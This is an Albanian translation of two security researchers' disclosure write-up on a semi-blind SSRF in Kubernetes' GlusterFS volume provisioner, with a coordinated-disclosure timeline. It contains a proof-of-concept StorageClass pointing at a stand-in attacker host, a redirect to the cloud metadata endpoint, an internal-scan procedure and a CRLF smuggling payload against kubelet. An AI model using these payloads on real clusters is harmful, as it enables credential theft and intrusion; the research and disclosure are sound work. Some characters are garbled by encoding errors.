Shën. përk.: autorët e këtij artikulli flasin në detaje për mënyrën si arritën të zbulojnë dobësinë në Kubernetes. Edhe pse fillimisht dukej e padëmshme, në kombinim me faktorë të tjerë, kriticiteti i saj ishte maksimal për disa ofrues të shërbimeve në re. Specializuar për këtë punë, u shpërblyen bujshëm nga disa organizata.

Kush jemi ne
Ne jemi dy hulumtues francezë në fushën e sigurisë, të cilët zbuluan bashkë një dobësi në Kubernetes. Na quajnë Brice Augras dhe Christophe Hauquiert, por në shumë platforma të Bug Bounty jemi të njohur si Reeverzax dhe Hach përkatësisht:
- â ;
- â arkitekt i Kubernetes nĂ« Nokia.
ĂfarĂ« ndodhi?
Ky artikull është mënyra jonë për të treguar se si një projekt hulumtues i zakonshëm papritur u shndërrua në një aventurë shumë emocionuese për hajdutët e gabimeve (të paktën deri tani).
Siç e dini, hajdutët e gabimeve kanë disa karakteristika të veçanta:
- ata jetojnë me pica dhe birrë;
- ata punojnë kur të tjerët flenë.
Ne jemi një përjashtim nga këto rregulla: zakonisht takohemi në fundjavë dhe kalojmë netë të paqëndrueshme duke hakuar. Por një nga këto netë përfundoi në një mënyrë mjaft të pazakontë.
Fillimisht kishim planifikuar të takohemi për të diskutuar pjesëmarrjen në në ditën pasuese. Gjatë bisedës për sigurinë e Kubernetes në një mjedis shërbimi të menaxhuar, na erdhën në mendje disa ide të vjetra për SSRF () dhe vendosëm të provojmë ta përdorim atë si një skenar sulmi.
Në orën 11 të mbrëmjes filluam studimet, dhe u dremitëm herët në mëngjes, mjaft të kënaqur me rezultatet. Pikërisht për shkak të këtyre hulumtimeve, ne zbuluam programin MSRC Bug Bounty dhe ideuam një eksploatim për rritjen e privilegjeve.
TĂ« kalonin disa javĂ«/muaj, dhe rezultati ynĂ« befasues na lejoi tĂ« fitonim njĂ« nga shpĂ«rblimet mĂ« tĂ« larta nĂ« historinĂ« e Azure Cloud Bug Bounty â pĂ«rveç asaj qĂ« fituam nga Kubernetes!
Nga projekti ynë hulumtues, komiteti i Sigurisë së Produktit të Kubernetes publikoi .
Tani, do të donim të shpërndanë sa më shumë informacion në lidhje me një vulnerabilitet të gjetur. Shpresojmë se do ta vlerësoni këtë zbulim dhe do të ndani detaje teknike me anëtarët e tjerë të komunitetit infosec!
Pra, ja historia jonë...
Konteksti
Për ta shpjeguar sa më plotësisht se çfarë ndodhi, le të shikojmë së pari se si funksionon Kubernetes në një mjedis të menaxhuar në cloud.
Kur krijoni një instancë të grupit Kubernetes në një mjedis të tillë, shtresa menaxhuese zakonisht kujdeset për ofruesi i shërbimeve cloud:

Shtresa menaxhuese ndodhet në periferi të ofruesit të cloud-it, ndërsa nyjat e Kubernetes ndodhen në periferi të klientit.
Për alokimin dinamik të volumit përdoret mekanizmi i ofrimit dinamik nga një backend storage të jashtëm dhe lidhja me PVC (kërkesa për volum të qëndrueshëm).
Kështu, pasi PVC të krijohet dhe të lidhet me StorageClass-in në grupin K8s, veprimet e mëtejshme për ofrimin e volumit i merr mbi vetë menaxheri kube/cloud (emri i tij i saktë varet nga versioni). (Shën. përk.: Për më shumë mbi CCM-në në shembullin e implementimit të tij për një nga ofruesit e cloud-it, ne kemi shkruar më parë. .)
Ka ekzistojnĂ« disa lloje provisionerâash qĂ« mbĂ«shteten nga Kubernetes: shumica e tyre janĂ« tĂ« pĂ«rfshira nĂ« , ndĂ«rsa tĂ« tjerĂ«t menaxhohen nga provisioner tĂ« jashtĂ«m, tĂ« cilat janĂ« tĂ« vendosura nĂ« podâĂ« brenda klasterit.
Në hulumtimin tonë, ne u përqendruam në mekanizmin e brendshëm të ofrimit të volumeve, i cili ilustrohet më poshtë:

Ofrimi dinamik i volumeve duke përdorur provisioner-in e integruar të Kubernetes
Në përmbledhje, kur Kubernetes është i vendosur në një mjedis të menaxhuar, menaxhimi i controller manager-it është përgjegjësi e ofruesit të shërbimeve cloud, por kërkesa për krijimin e një volumi (numri 3 në skemën e mësipërme) del jashtë kufijve të rrjetit të brendshëm të ofruesit të cloud. Dhe këtu situata bëhet vërtet interesante!
Skenari i thyerjes
NĂ« kĂ«tĂ« seksion, ne do tĂ« tregojmĂ« se si shfrytĂ«zuam procesin e pĂ«rmendur mĂ« parĂ« dhe fituam akses nĂ« burimet e brendshme tĂ« ofruesit tĂ« shĂ«rbimeve cloud. PĂ«r mĂ« tepĂ«r, do tĂ« tregohet mĂ«nyra se si mund tĂ« kryhen disa veprime â pĂ«r shembull, tĂ« sigurohen kredencialet e brendshme ose tĂ« realizohet escalimi i privilegjeve.
Një manipulim i thjeshtë (në këtë rast, është Service Side Request Forgery) na ndihmoi të dalim përtej ambientit të klientit në klasteret e ndryshme të ofruesve të shërbimeve që menaxhojnë K8s.
Në hulumtimet tona, u përqendruam te provisioner'i GlusterFS. Megjithëse radhitja e mëtejshme e veprimeve është përshkruar në një kontekst të tillë, kjo vulnerabilitet është e pranishme gjithashtu te Quobyte, StorageOS dhe ScaleIO.

Shfrytëzimi i mekanizmit të dinamikës së ofrimit të volumeve
Gjatë analizës së klasës së ruajtjes GlusterFS në burimet e klientit në Golang ne , se gjatë kërkesës së parë HTTP (3), e dërguar gjatë krijimit të volumit, në fund të URL-së së përdoruesit në parametrin resturl shtohet /volumes.
PĂ«r tĂ« eliminuar kĂ«tĂ« rrugĂ« shtesĂ«, vendosĂ«m tĂ« shtojmĂ« # nĂ« parametrin resturl. Kjo Ă«shtĂ« konfigurimi i parĂ« YAML qĂ« ne pĂ«rdorĂ«m pĂ«r tĂ« kontrolluar prania e vulnerabilitetit «gjysmĂ« tĂ« verbĂ«r» SSRF (mĂ« shumĂ« rreth semi-blind ose half-blind SSRF mund tĂ« lexoni, pĂ«r shembull, â shĂ«nim i pĂ«rkthyesit.):
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: poc-ssrf
spec:
accessModes:
- ReadWriteOnce
volumeMode: Filesystem
resources:
requests:
storage: 8Gi
storageClassName: poc-ssrfMë pas, për menaxhimin e largët të klasterit Kubernetes, u përdor binary-i kubectl. Në përgjithësi, ofruesit e cloud (Azure, Google, AWS, etj.) lejojnë marrjen e kredencialeve për t'i përdorur ato në këtë utilit.
Falë kësaj, u arrit të aplikohej skedari "special". Kube-controller-manager ekzekutoi kërkesën rezultante HTTP:
kubectl create -f sc-poc.yaml 
Përgjigjja nga këndvështrimi i sulmuesit
Pak pas kĂ«saj, ne gjithashtu arritĂ«m tĂ« merrnim njĂ« pĂ«rgjigje HTTP nga serveri target â pĂ«rmes komandave describe pvc ose get events nĂ« kubectl. Dhe nĂ« tĂ« vĂ«rtetĂ«: ky driver Kubernetes me default Ă«shtĂ« shumĂ« i zĂ«shĂ«m nĂ« paralajmĂ«rimet e tij/mesazhet e gabimeve...
Ja një shembull me një lidhje në https://www.google.fr, e vendosur si një parametër resturl:
kubectl describe pvc poc-ssrf
# ose mund tĂ« pĂ«rdorni kubectl get events 
Në kuadër të këtij qasjeje, ne ishim të kufizuar në kërkesa të tipit HTTP POST dhe nuk mundëm të merrnim përmbajtjen e trupit të përgjigjes, nëse kodi i kthyer ishte 201Pra kjo, vendosëm të kryejmë kërkime të dodatshme dhe zgjatuam këtë skenar sulmi me qasje të reja.
Evolucioni i kërkimeve tona
- Skenari i avancuar nr. 1: përdorimi i redirect 302 nga një server i jashtëm për të ndryshuar metodën HTTP, në mënyrë që të kemi një mënyrë më fleksibël për të mbledhur të dhënat e brendshme.
- Skenari i avancuar nr. 2: automatizimi i skanimit LAN dhe zbulimi i burimeve të brendshme.
- Skenari i avancuar nr. 3: përdorimi i HTTP CRLF + smuggling ("kontrabanda" e kërkesave) për të krijuar kërkesa HTTP të përshtatura dhe për të marrë të dhëna të nxjerra nga log-ët e kube-controller-it.
Specifikimet teknike
- Në kërkime u përdor Azure Kubernetes Service (AKS) me Kubernetes version 1.12 në rajonin North Europe.
- Skenarët e përshkruar më sipër u ekzekutuan në versionet e fundit të Kubernetesit përveç skenarit të tretë, pasi ai kërkonte Kubernetes të ndërtuar me Golang version †1.12.
- Serveri i jashtĂ«m i sulmuesit â
https://attacker.com.
Skenari i avancuar nr. 1: redirect i kërkesës HTTP POST në GET dhe marrja e të dhënave të ndjeshme
Metoda origjinale u përmirësua nga konfigurimi i serverit të sulmuesit për të kthyer 302 HTTP Retcode, për të konvertuar kërkesën POST në kërkesën GET (hapi 4 në diagram):

Kërkesa e parë (3), që vjen nga klienti GlusterFS (Menaxheri i Kontrollit), ka tipin POST. Duke ndjekur hapat e mëposhtëm, kemi arritur ta kthejmë atë në GET:
- Si parametrin
resturlduhet të specifikohet në StorageClasshttp://attacker.com/redirect.php. - Endpoint
https://attacker.com/redirect.phpkthen status-kodin 302 HTTP me header-in Location tĂ« mĂ«poshtĂ«m:http://169.254.169.254. Mund tĂ« jetĂ« çdo burim tjetĂ«r i brendshĂ«m â nĂ« kĂ«tĂ« rast, linku i rindĂ«rtimit pĂ«rdoret ekskluzivisht si shembull. - NĂ« mĂ«nyrĂ« tĂ« paracaktuar biblioteka net/http e Golang-it rikthen kĂ«rkesĂ«n dhe konverton POST nĂ« GET me status-kodin 302, si rezultat, njĂ« kĂ«rkesĂ« HTTP GET arrin nĂ« burimin e synuar.
Për të lexuar trupin e përgjigjes HTTP, duhet të bëni describe objektit PVC:
kubectl describe pvc xxxKy është një shembull i përgjigjes HTTP në formatin JSON që arritëm të marrim:

Kapacitetet e dobësisë së gjetur në atë kohë ishin të kufizuara për shkak të këtyre pikave:
- Pamundësia për të futur headra HTTP në kërkesën që del.
- Pamundësia për të kryer një kërkesë POST me parametra në trup (kaq e lehtë është të kërkosh vlerën e çelësit nga një ekzemplar etcd, që punon në 2379 port, nëse përdoret HTTP i pacriptuar).
- Pamundësia për të marrë përmbajtjen e trupit të përgjigjes, kur statusi ishte 200 dhe përgjigja nuk kishte JSON Content-Type.
Skenari i avancuar nr. 2: skanimi i rrjetit lokal
Ky metod i gjysĂ«m-verbuar SSRF mĂ« pas u pĂ«rdor pĂ«r skanimin e rrjetit tĂ« brendshĂ«m tĂ« ofruesit tĂ« shĂ«rbimit cloud dhe pĂ«r tĂ« anketuar shĂ«rbime tĂ« ndryshme nĂ« listen (instanca Metadata, Kubelet, etcd etj.) bazuar nĂ« pĂ«rgjigjet e tyre kube controllerâit.

Fillimisht u përcaktuan portet standard të komponentëve Kubernetes (8443, 10250, 10251 etj.), dhe më pas duhej të automatizohej procesi i skanimit.
Duke parë se ky metod i skanimit të burimeve është shumë specifik dhe nuk është i përputhshëm me skanerët klasikë dhe mjetet SSRF, vendosëm të krijojmë punëtorë të vetë në bash-skriptë që automatizojnë tërë procesin.
Për shembull, për të skanuar më shpejt gamën 172.16.0.0/12 të rrjetit të brendshëm, ishin nisur paralelisht 15 punëtorë. Gama e IP-së e përmendur më lart u zgjodh vetëm si një shembull dhe mund të ndryshohet në gamën e IP-së së ofruesit të shërbimit të caktuar.
Për të skanuar një adresë IP dhe një port, duhet të bëni si më poshtë:
- të fshihet StorageClass i verifikuar herën e kaluar;
- të fshihet Persistent Volume Claim i verifikuar më parë;
- të ndryshohen vlerat IP dhe Port në
sc.yaml; - të krijohet një StorageClass me IP dhe port të rinj;
- krijo PVC të ri;
- nxirrni rezultatet e skanimit pĂ«rmes describeâs pĂ«r PVC.
Skema e avancuar Nr. 3: injeksioni CRLF + abuzimi me HTTP në versionet "e vjetra" të klasterit Kubernetes
Nëse përveç kësaj ofruesi ofronte versione të vjetra të klasterit K8s dhe u jepte atyre akses në log-et e kube-controller-manager, efekti bëhej edhe më i dukshëm.
Për sulmuesin, është shumë më e lehtë të ndryshojë sipas dëshirës kërkesat HTTP, të destinuara për të marrë një përgjigje të plotë HTTP.

Për të realizuar skenarin e fundit, duhet të përmbushen kushtet e mëposhtme:
- Përdoruesi duhet të ketë akses në log-et e kube-controller-manager (si, për shembull, në Azure LogInsights).
- Klasteri Kubernetes duhet të përdorë një version të Golang nën 1.12.
Krijuam një ambient lokal që imiton shkëmbimin e të dhënave midis klientit Go GlusterFS dhe një serveri të rremë (meqe po e ndalojmë publikimin e PoC).
U zbulua , që prekte versionet e Golang nën 1.12 dhe lejonte hakerët të kryejnë sulme të tipit HTTP smuggling/CRLF.
Kombinimi i SSRF-të gjysmë të verbër të përshkruar më sipër bashkë me këtë, ne arritëm të dërgojmë kërkesa sipas dëshirave tona, duke përfshirë ndryshimin e titujve, metodën HTTP, parametrat dhe të dhënat, të cilat kube-controller-manager më pas i përpunonte.
Ja një shembull i funksionit «të joshur» në parametrin resturl StorageClass, që realizon një skenar të tillë sulmi:
http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrnSi rezultat lind një gabim përgjigje e papritur, mesazhi i të cilit regjistrohet në logjet e kontrolluesit. Falë 'ngazëllimësisë' të përfshirë nga default, aty ruhet gjithashtu përmbajtja e përgjigjes HTTP.
![]()
Kjo ishte strategjia jonë më efektive në kuadër të provës së konceptit.
Duke përdorur një qasje të tillë, ne arritëm të realizojmë disa nga sulmet e mëposhtme në klasteret e ndryshme të ofruesve managed k8s: rritje privilegjesh me marrjen e kredencialeve në instancat e metadata, DoS të masterit përmes kërkesave (të pa-kriptuara) HTTP në instancat master të etcd etj.
Pasojat
Në deklaratën zyrtare të Kubernetes për dobësinë SSRF që ne zbulonim, i është dhënë një pikëzim CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Nëse shqyrtojmë vetëm vulnerabilitetin e lidhur me perimetrin e Kubernetes, vektori i integritetit (vektori i integritetit) kualifikohet si Asnjë.
Megjithatë, vlerësimi i pasojave të mundshme në kontekstin e një mjedisi shërbimi të menaxhuar (dhe kjo ishte pjesa më interesante e hulumtimit tonë!) na shtyu të rishikojmë vulnerabilitetin në një rang Kritik CVSS10/10 për shumë distributorë.
Më poshtë është informacion shtesë që do të ndihmojë në kuptimin e asaj që na udhëhoqi në vlerësimin e pasojave të mundshme në mjediset në cloud:
Integriteti
- Ekzekutimi i komandeve në distancë duke përdorur kredencialet e brendshme të fituara.
- Riprodhimi i skenarit të përmendur më lart përmes metodës IDOR (Insecure Direct Object Reference, domethënë lidhjet e drejtpërdrejta të pasigurta për objekte) me burime të tjera të zbuluara në rrjetin lokal.
Konfidencialiteti
- Sulmi i tipit falë vjedhjes së kredencialeve të cloud-it (p.sh., metadata API).
- Marrja e informacionit pĂ«rmes skanimit tĂ« rrjetit lokal (identifikimi i versionit tĂ« SSH, versionit tĂ« serverit HTTP, âŠ).
- Mblidhni informacionin mbi instancat dhe infrastrukturën duke pyetur API-të e brendshme, si metadata API (
http://169.254.169.254, âŠ). - Vjedhja e tĂ« dhĂ«nave tĂ« klientĂ«ve pĂ«rmes akreditimeve tĂ« cloud.
Disponueshmëria
Të gjitha skenarët e përdorimit të exploiteve, të lidhura me vektorët e sulmit mbi integritetin, mund të përdoren për veprime shkatërruese dhe të çojnë në atë që master-instatns të jashtme (ose ndonjë tjetër) të bëhen të papërfshirë.
Pasi ishim në një mjedis të menaxhuar K8s dhe vlerësuam ndikimin në integritetin, mund të imagjinojmë shumë skenarë që mund të ndikojnë në disponueshmërinë. Si shembuj të tjerë mund të përmendim dëmtimin e bazës së të dhënave etcd ose bërjen e një thirrjeje kritike në API-në Kubernetes.
Kronologjia
- 6 Dhjetor 2019: dërgimi i një mesazhi mbi zbulimin e një dobësie në MSRC Bug Bounty.
- 3 Janar 2020: një palë e tretë informoi zhvilluesit e Kubernetes se ne po punonim mbi një problem në fushën e sigurisë. Dhe i kërkoi ata ta konsideronin SSRF si një dobësi të brendshme (in-core). Pas kësaj, ne paraqitëm një raport të përgjithshëm me detaje teknike mbi burimin e problemit.
- 15 janar 2020: ne ofruam zhvilluesve të Kubernetes raporte teknike dhe të përgjithshme sipas kërkesës së tyre (nëpërmjet platformës HackerOne).
- 15 janar 2020: zhvilluesit e Kubernetes na informuan se SSRF gjysmë-qorr + injeksioni CRLF për versionet e mëparshme konsiderohet një dobësi in-core. Ne menjëherë ndaluam analizën e perimetrave të ofruesve të tjerë të shërbimeve: shkaku fillestar tani ishte në duar të ekipit K8s.
- 15 janar 2020: përmes HackerOne është marrë një shpërblim nga MSRC.
- 16 janar 2020: Kubernetes PSC (Komiteti i Sigurisë së Produktit) pranoi dobësinë dhe kërkoi ta mbajë atë të fshehtë deri në mes të marsit për shkak të numrit të madh të viktimave të mundshme.
- 11 shkurt 2020: është marrë një shpërblim nga Google VRP.
- 4 mars 2020: përmes HackerOne është marrë një shpërblim nga Kubernetes.
- 15 mars 2020: shpërndarja fillimisht e planifikuar e informacionit është shtyrë për shkak të situatës me COVID-19.
- 1 qershor 2020: një deklaratë e përbashkët nga Kubernetes + Microsoft mbi dobësinë.
TL;DR
- Ne po pimĂ« birrĂ« dhe hamĂ« pizzĂ« đ
- Ne zbuluam një dobësi in-core në Kubernetes, përkundër faktit se nuk e kishim planifikuar atë.
- Ne kemi bërë një analizë të thelluar në klasteret e ofruesve të ndryshëm të cloud dhe arritëm të rrisnim dëmin që shkaktonte dobësia, në mënyrë që të fitonim bonuse ekstra të mahnitshme.
- Në këtë artikull do të gjeni shumë detaje teknike. Ne do të do ishim të lumtur t'i diskutonim ato me ju (Twitter: & ).
- Doli se të gjitha formalitetet dhe përgatitja e raporteve zënë shumë më tepër kohë se sa pritej.
Linke
- ;
- ;
- ;
- .
P.S. nga përkthyesi
Lexoni gjithashtu në blogun tonë:
- «»;
- «»;
- «».
Burimi: habr.com
